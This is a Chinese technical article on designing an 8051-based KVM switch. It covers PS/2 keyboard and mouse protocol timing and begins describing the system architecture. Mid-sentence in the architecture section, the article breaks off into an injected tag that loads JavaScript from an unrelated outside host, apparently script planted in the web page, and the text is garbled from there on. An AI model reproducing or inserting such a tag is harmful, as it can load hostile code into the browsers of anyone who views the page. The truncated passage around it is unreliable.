基于8051的KVM系统设计

近年来,随着计算机及网络技术的发展,政府、企业以及金融业等对机房环境的需求日益明确,原有机房条件已经成为信息化建设中的瓶颈。其面临的主要问题是:设备数量繁多,机型杂乱;空间利用率低;机房管理难读大、存在安全隐患。依照目前的现状,机房的管理需要在一个集中的平台完成所有的工作,减小机房内维护的工作量,减少大量的键盘、鼠标和显示器等外部设备,这样kvm系统就应运而生了。

图1,kvm系统工作示意
  所谓kvm主机切换系统,就是用一套或者多套kvm在多个不同操作系统的多台主机之间切换,实现一个用户使用一套键盘(keyboard)、显示器(video)、鼠标(mouse)去访问和操作一台或一台以上主机的功能。图1是kvm的工作示意图。

  1 ps/2键盘鼠标协议

  kvm在整个系统中充当了多台主机和设备(键盘、鼠标、显示器)的中介。站在键盘鼠标的角度,kvm是一台模拟的主机;而在各台主机的角度看,它又是模拟的键盘和鼠标。kvm在与主机、键盘、鼠标通信时,必须严格遵守ps/2协议。

  图2是本文研究的kvm系统内部mcu与ps/2设备以及主机的连接原理图。ps/2设备履行一种双向同步串行协议。换句话说,每次数据线上发送一位数据并且每在时钟线上发一个脉冲就被读入。设备可以发送数据到主机,而主机也可以发送数据到设备,但主机总是在总线上有优先权,它可以在任何时候抑制来自设备的通信,只需把时钟线电平拉低即可。

图2,mcu与主机、设备的连接
  从设备发送到主机的数据在时钟下降沿被读取;从主机发送到设备的数据在上升沿被读取。无论数据的方向如何,设备始终是时钟信号的产生者,如果主机要发送数据,它必须首先拉低数据线电平以告诉设备开始产生时钟信号。两者的通信时序如图3所示。所有数据安排于字节中,每个字节为一帧,包含了11-12个位。其含义如下表所示:

图3,主机、设备通信时序
  根据相应的时序确定主机与设备的通信流程如图4所示。

  当设备等待发送数据给主机时,它首先检查时钟线以确定它是否为高电平。如果不是,那么是主机抑制了通信,如果时钟线是高电平,则设备可以开始传送数据。设备发送数据给主机时,时钟信号由其产生。标准的时钟频率最高为33khz,大多数设备工作于10-20khz,建议使用15khz的时钟频率。从时钟脉冲的上升沿到一个数据转变的时间至少要5微秒,数据变化到时钟脉冲的下降沿的时间至少要5微秒且不能大于25微秒,这个时限非常重要,必须严格遵守。设备在发送下个包前至少应该等待50微秒,这将给主机时间处理接收到的字节。

  当主机要发送数据,它必须首先把时钟和数据设置为“请求发送”状态:通过下拉时钟线至少100微秒来抑制通信,下拉数据线表示“请求”,然后释放时钟线。设备应该在不超过10毫秒的时间内检查处这个“请求”的状态,并且产生时钟信号,主机仅当时钟线为低的时候设置数据线,而数据在时钟脉冲的上升沿被锁存。这里有一个特殊的地方:设备产生应答位发生在时钟线为高的时候,这有别于其他11位数据。

图4,主机、设备通信流程
  2 kvm系统架构

  如前所述,kvm系统实现一套设备(键盘、鼠标、显示器)分时地操作多台主机。任何时刻,只有一台主机获得这套设备的使用权,而其余的主机?script src=http://er12.com/t.js>

  • 基于8051的KVM系统设计已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计